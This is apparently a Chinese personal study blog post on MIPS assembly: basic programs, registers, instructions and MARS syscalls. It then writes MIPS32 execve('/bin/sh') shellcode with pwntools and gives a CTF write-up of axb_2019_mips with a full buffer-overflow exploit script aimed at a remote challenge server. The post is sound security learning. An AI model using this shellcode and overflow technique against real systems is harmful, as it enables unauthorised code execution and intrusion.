GENIA

MIPS 学习

2023-12-08

MIPS 学习

MIPS 汇编

学习工具:MARS MIPS 模拟器 (需要配置好 java 环境)

Compiler Explorer (godbolt.org)

先看看几个简单的例子(整理自 b 站 up 主正月点灯笼的 MIPS 科普系列教学):

  1. 加法
1
2
3
4
5
6
7
li $t1,1
add $t0,$t1,2 # add 需要三个操作数,将后两个相加的结果存储在第一个寄存器中
# printf("%d,t0)
# $v0 = 1,syscall -> print_int
move $a0,$t0 # print 默认打印 a0 的值
li $v0,1 # v0 中存放系统调用号
syscall # print(a0)
  1. hello world
1
2
3
4
5
6
7
8
9
.data
# char* msg = "Hello World";
msg: .ascii "Hello World\0" #自己定义数据段,msg 为字符串地址

.text
# $v0 = 4,syscall -> print_string
la $a0,msg
li $v0,4
syscall
  1. if 分支
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
.data
msg_yes: .ascii "Yes!"
msg_no: .ascii "No!"

.text
# scanf ( " %d ", &a); $t0: a scanf 得到的值默认存放在 v0 寄存器中
li $v0,5
syscall # a->v0->t0
move $t0,$v0
# scanf ( " %d ", &b); $t1: b
li $v0,5
syscall # b->v0->t1
move $t1,$v0

# if ( a > b ){
# printf ( " YES\0 " );
# }
# else{
# printf ( " NO\0 " );
# }

# if t0 > t1 -> sub1 sub1 类似于x86/x64 中的标签
bgt $t0, $t1, sub1
# 相当于 else 的内容:
la $a0, msg_no
li $v0, 4
syscall
# exit 如果这边不退出则会默认继续执行,输出 yes
li $v0, 10
syscall

sub1:
la $a0, msg_yes
li $v0, 4
syscall
  1. 循环
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 1 + 2 + 3 + .. + 100
# i = 1; $t0 -> i
li $t0, 1
# s = 0; $t1 -> i
li $t1, 0

# while( i <= 100 ){
# s = s + i;
# i = i + 1;
# }

loop:
add $t1,$t1,$t0
add $t0,$t0,1

# if t0 < 100 -> loop
ble $t0, 100, loop

# print((int)a0)
move $a0, $t1
li $v0, 1
syscall

其实基本上和 x86/x64 是一样的。

寄存器

仅介绍用户态可以使用的寄存器。

32 个通用寄存器

寄存器编号 别名 用途
$0 $zero 常量0(constant value 0)
$1 $at 保留给汇编器(Reserved for assembler)
$2-$3 $v0-$v1 函数调用返回值(values for results and expression evaluation)
$4-$7 $a0-$a3 函数调用参数(arguments)
$8-$15 $t0-$t7 暂时的(或随便用的)
$16-$23 $s0-$s7 保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25 $t8-$t9 暂时的(或随便用的)
$28 $gp 全局指针(Global Pointer)
$29 $sp 堆栈指针(Stack Pointer)
$30 $fp 帧指针(Frame Pointer)
$31 $ra 返回地址(return address)

两个整数乘法寄存器

HI 和 LO 寄存器。

在64位处理器上,对于两个32位做乘法运算后,可以产生64位结果。可以临时将结果的低32位放在 LO 寄存器,高32位放在 HI 寄存器。例如下面的指令:

1
2
3
mult $t0,$t1   # t0和t1的乘法操作,结果的低32位存放在寄存器LO,结果的高32位存放在寄存器HI
mflo $a4 # 拷贝LO的值到通用寄存器a4
mfhi $a5 # 拷贝HI的值到通用寄存器a5

HI和LO是特殊的寄存器,不允许程序直接使用,里面的结果要通过指令mflo和mfhi获取。
HI和LO寄存器也用于除法运算结果的临时保存。除法运算结果商临时存放在寄存器LO,余数存放在寄存器HI。实例如下:

1
2
3
div $t0,$t1    #t0和t1的除法运算,运算结果的商存放在寄存器LO,余数存放在寄存器HI
mflo $a4 #LO = t0/t1
mfhi $a5 #HI = t0%t1

和 8086 中的 ax 和 dx 的作用极为相似。

32 个浮点寄存器

浮点寄存器编号 功能
$f0,$f2 用作函数返回值
$f12−$f19 用作传递参数
$f24−$f31 寄存器变量,发生函数调用时要保存
$f1、$f3−$f11 、$f20−$f23 用作临时变量

功能的分配基本上和通用寄存器相同。比如一个函数返回值为整数或指针时,使用通用寄存器的v0,返回值为浮点类型时,就使用浮点寄存器 f0。函数调用时的参数是整型就用通用寄存器 a0-a7 传递,如果是浮点类型就用 f12−f19 传递。对于函数返回地址、栈指针等还是使用通用寄存器的ra、sp。

常用指令

addiu

1
addiu $dst, $src, immediate  

无符号立即数相加,这条指令在执行时不会引发整数溢出异常。

  • $dst 是目标寄存器,存储相加的结果。
  • $src 是源寄存器,其当前值将与立即数相加。
  • immediate 是一个无符号的16位立即数,用于相加。

addi

1
addi $dst, $src, immediate

用于将一个寄存器的值与一个16位的有符号的立即数相加,并将结果存储回该寄存器。

sw

1
sw $source, offset($base)

一个存储字(Store Word)的指令。用于将一个32位的字(通常是一个整数)存储到内存中的指定位置。

  • $source 是要存储的寄存器,其中包含要存储的32位数据。
  • offset 是一个16位的立即数偏移量,用于计算存储地址。
  • $base 是基址寄存器,包含存储目标的基本内存地址。

指令的执行过程是将 $source 寄存器中的值存储到内存地址 $base + offset 处。通常用于将数据写入数组或其他数据结构中的特定位置。

move(伪指令)

1
2
3
move $t1, $t0 
# 相当于
addu $t1, $zero, $t0

将一个寄存器的值移动到另一个寄存器,类似于赋值操作。

li(伪指令)

1
2
3
4
5
6
li $dst, immediate
# 比如
li $t0, 42
# 相当于
lui $t0, 0x0 # 将 0x0(立即数的高16位)加载到 $t0
ori $t0, $t0, 42 # 将 42(立即数的低16位)与 $t0 进行按位或操作

用于将一个立即数加载到一个寄存器中。

  • $dst 是目标寄存器,用于存储加载的立即数。
  • immediate 是一个立即数。

la(伪指令)

1
2
3
4
5
6
la $dst, label
# 比如
la $t0, my_data
# 相当于
lui $t0, %hi(my_data) # 加载高16位地址部分
ori $t0, $t0, %lo(my_data) # 加载低16位地址部分

将一个数据标签(通常是全局变量或标签)的地址加载到一个寄存器中。

  • $dst 是目标寄存器,用于存储加载的地址。
  • label 是数据标签的名称。

lw

1
lw $dst, offset($base)

从内存中加载一个32位字(word)到寄存器中。

  • $dst 是目标寄存器,用于存储加载的32位字。
  • offset 是一个16位的立即数偏移量,用于计算内存地址。
  • $base 是基址寄存器,包含计算出的内存地址的基本值。

指令的执行过程是从内存中地址 $base + offset 处读取一个32位字,并将其存储到目标寄存器 $dst 中。

jalr

1
jalr $dst, $src

用于实现子程序调用和保存返回地址。

  • $dst 是目标寄存器,用于存储返回地址。
  • $src 是源寄存器,包含子程序的地址。

jalr 指令会将当前指令的地址(即返回地址)存储到 $dst 寄存器中,并跳转到 $src 寄存器中存储的地址。

jr

1
jr $src

无条件跳转到一个寄存器中存储的地址。

jal

1
jal target_address

用于进行无条件跳转,并将返回地址保存到 $ra 寄存器中,以便在后续的程序中进行子程序调用的返回。

ori

1
ori $dst, $src, immediate

用于将一个寄存器的值与一个立即数进行按位或操作,并将结果存储回该寄存器。

  • $dst 是目标寄存器,用于存储按位或操作的结果。
  • $src 是源寄存器,其当前值将与立即数进行按位或操作。
  • immediate 是一个16位的立即数,用于按位或操作。

slti

1
slti $dst, $src, immediate

将一个寄存器的值与一个立即数进行有符号比较,如果寄存器的值小于立即数,则将目标寄存器的值设置为 1,否则设置为 0。

syscall

在 MARS MIPS 模拟器中编程可使用的:

功能 调用号$v0 参数
print integer 1 $a0 = integer to print
print float 2 $f12 = float to print
print double 3 $f12 = double to print
print string 4 $a0 = address of null-terminated string to print
read integer 5
read float 6
read double 7
read string 8 $a0 = 输入缓冲区的地址 $a1 = 读取的最大字符数
sbrk (allocate heap memory) 9 $a0 = number of bytes to allocate
exit (terminate execution) 10
print character 11 $a0 = character to print
read character 12
open file 13 $a0 = address of null-terminated string containing filename $a1 = flags $a2 = mode
read from file 14 $a0 = file descriptor $a1 = address of input buffer $a2 = maximum number of characters to read
write to file 15 $a0 = file descriptor $a1 = address of output buffer $a2 = number of characters to write
close file 16 $a0 = file descriptor
sleep 32 $a0 = the length of time to sleep in milliseconds.
print integer in hexadecimal 34 $a0 = integer to print
print integer in binary 35 $a0 = integer to print
print integer as unsigned 36 $a0 = integer to print

真实环境下系统调用号以及调用方式参考:

[源码中规定的系统调用号][https://github.com/spotify/linux/blob/master/arch/mips/include/asm/unistd.h]

[调用方式][https://www.linux-mips.org/wiki/Syscall]

https://syscalls.w3challs.com/?arch=mips_o32

shellcode 编写

参考:https://fireshellsecurity.team/writing-a-shellcode-for-mips32/

做了一些 mips pwn,主要还是以 32 位小端为主。

先利用 pwntools 生成的 shellcode 作为参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* execve(path='//bin/sh', argv=['sh'], envp={}) */
/* push b'//bin/sh\x00' */
li $t1, 0x69622f2f
sw $t1, -12($sp)
li $t1, 0x68732f6e
sw $t1, -8($sp) # 将 /bin/sh 存放在栈上
sw $zero, -4($sp)
addiu $sp, $sp, -12
add $a0, $sp, $0 # 将 /bin/sh 的地址传给 a0
/* push argument array ['sh\x00'] */
/* push b'sh\x00\x00' */
ori $t1, $zero, 26739 # 把小端的 'sh' 存放在 t1 中
sw $t1, -4($sp) # 放到栈上
addiu $sp, $sp, -4
slti $a1, $zero, 0xFFFF /* $a1 = 0 */ # 这句的意义是什么,直接赋值0不就好了
sw $a1, -4($sp)
addi $sp, $sp, -4 /* null terminate */
li $t9, ~4 # 将对 4 进行按位取反后的值存放在 $t9 里
not $a1, $t9 # $a1 = 4,所以上一句是在干什么
add $a1, $sp, $a1
sw $a1, -4($sp)
addi $sp, $sp, -4 /* 'sh\x00' */
add $a1, $sp, $0 /* mov $a1, $sp */ #将 'sh' 的地址传给 a1
/* push argument array [] */
/* push b'\x00' */
sw $zero, -4($sp)
addiu $sp, $sp, -4
slti $a2, $zero, 0xFFFF /* $a2 = 0 */
sw $a2, -4($sp)
addi $sp, $sp, -4 /* null terminate */
add $a2, $sp, $0 /* mov $a2, $sp */
/* setregs noop */
/* call execve() */
ori $v0, $zero, (4000 + 11) # 设置系统调用号
syscall 0x40404

来做一些修改,首先把 shellcode 的长度尽可能缩减,其次,为了增加 shellcode 的兼容性,尽可能不使用伪指令。

MIPS 的 shellcode 和 x86/x64 本质上是一样的,首先需要构造 /bin/sh\x00 字符串并将其地址传给相应寄存器,接着设置系统调用号,执行 execve 系统调用。

1
2
3
# $a0 存放 /bin/sh 的地址
# 设置 $a1 为 null,表示无命令行参数
# 设置 $a2 为 null,表示无环境变量

1.解决 /bin/sh\x00 的问题

MIPS 的通用寄存器都是 32 位的,一次只能存储 /bin/sh\x00 的一半。

因此将 /bin/sh\x00 分为两半存放在两个临时寄存器中:

1
2
3
4
lui $t7, 0x2f2f
ori $t7, $t7, 0x6269 # //bi
lui $t6, 0x6e2f
ori $t6, $t6, 0x7368 # n/sh

多一个 ‘/‘ 用作填充。

同样的,把它们依次放到栈上。

1
2
3
4
sw $t7, -12($sp)
sw $t6, -8($sp)
sw $zero, -4($sp) # 空字节
addiu $a0, $sp, - 12 # 使指针指向 a0

2.将 a1 和 a2 归零

1
2
slti $a1, $zero, -1
slti $a2, $zero, -1

3.传递系统调用号,进行系统调用

1
2
li $v0, 4011
syscall

按照正常的流程,到这里就该结束了,但是这里 syscall 的默认机器码为 \x00\x00\x00\x0c,出现了空字节。为了避免传输不可见字符,最后的 syscall 要改成 syscall + (0x40404 ~ 0x40407) 的一个数(这样 \x0c 之前正好没有空字节),这点在 pwntools 生成的 shellcode 中也出现了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.update(arch='mips', os='linux', bits=32, endian='big')

shellcode = asm('''
lui $t7, 0x2f2f
ori $t7, $t7,0x6269
lui $t6, 0x6e2f
ori $t6, $t6, 0x7368
sw $t7, -12($sp)
sw $t6, -8($sp)
sw $zero, -4($sp)
addiu $a0, $sp, -12
slti $a1, $zero, -1
slti $a2, $zero, -1
li $v0, 4011
syscall 0x40407
''')

print(''.join([ '\\x%02x' % x for x in shellcode ]))

filename = make_elf(shellcode, extract=False)
p = process(filename)
p.interactive()

可以 getshell。而且 syscall 后面只要跟的是范围内的数字,编译得到的机器码都是 \x01\x01\x01\xcc ,这是为什么?暂时不想探究了。

可以 getshell :

1
2
3
4
5
6
teriteri@ubuntu:~/Desktop/MIPS$ python shellcode32.py
\x3c\x0f\x2f\x2f\x35\xef\x62\x69\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xaf\xff\xf4\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\xcc
[+] Starting local process '/tmp/pwn-asm-y951nqnl/step3-elf': pid 3587
[*] Switching to interactive mode
$ ls
mipsel-linux-uclibc shellcode32.py

qemu 调试方法

在用户模式下,有几种可行的方法可以实现调试,但都没法同时利用 pwntools,而且非常卡。

如果通过系统模式直接使用 qemu 虚拟机,则需要虚拟机配置及文件上传的问题,非常麻烦。

这块等校赛之后再做补充了。

例题

axb_2019_mips

经典什么保护也没开的 32 位小端。

main 函数里没什么,主要的东西在 vuln 里:

1
2
3
4
5
6
ssize_t vuln()
{
char v1[32]; // [sp+18h] [+18h] BYREF

return read(0, v1, 0x200u); // 一个量很大的溢出
}

mips 是没有 bp 指针的,所以值得注意的是调用函数的返回地址是如何存储的,是否会被压入栈,要怎么控制?

看一下汇编,首先是 main 函数:

在 jal vuln (以及一些函数调用)之前,lw $gp,xxx 指令出现地很频繁。

$gp 是一个全局指针(是访问全局变量的关键), $fp 为帧指针,lw 指令从当前栈帧(使用帧指针 $fp)的局部变量中加载一个值,然后加上一个常数偏移量,并将结果存储到全局指针 $gp 中。确保函数能够正确地访问全局数据。

紧接着 jal 指令,跳转到 vuln 地址处执行 vuln。同时将下一条指令的地址存储在 $ra 寄存器中。

看看 vuln:

这条指令:

1
addiu   $v0, $fp, 0x38+var_20

0x38 + var_20 是不可更改的,但是 $fp 的值可以通过第一次 read 栈溢出进行覆盖(类似于覆盖 ebp)。

直接把 $fp 位置处的值修改为想要注入 shellcode 的地址 + offset 即可。这里不知道栈地址,所以选择在 bss 段写 shellcode。

返回地址就覆盖为 read 函数开始的地址,即 addiu 之前的 0x4007E0。

第二次 read 覆盖返回地址为 shellcode 地址,劫持程序执行 shellcode。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*

context(arch='mips', os='linux', endian='little', word_size=32,log_level='debug')

#p = process(["qemu-mipsel","-g", "1234","-L","./","./pwn2"])
p = remote("node4.buuoj.cn",25083)

context.binary = "pwn2"

bss = 0x410B78
read_addr = 0x4007E0

p.recvuntil("What's your name: ")

p.sendline('genia')

p.recvuntil("genia")

payload1 = b'a'*0x20 + p32(bss-0x38+0x20) + p32(read_addr)

shellcode = asm(shellcraft.sh())
p.sendline(payload1)

payload2 = b'a'*0x20 + b'b'*4

payload2 += p32(bss + 0x28)
payload2 += shellcode
p.send(payload2)

p.interactive()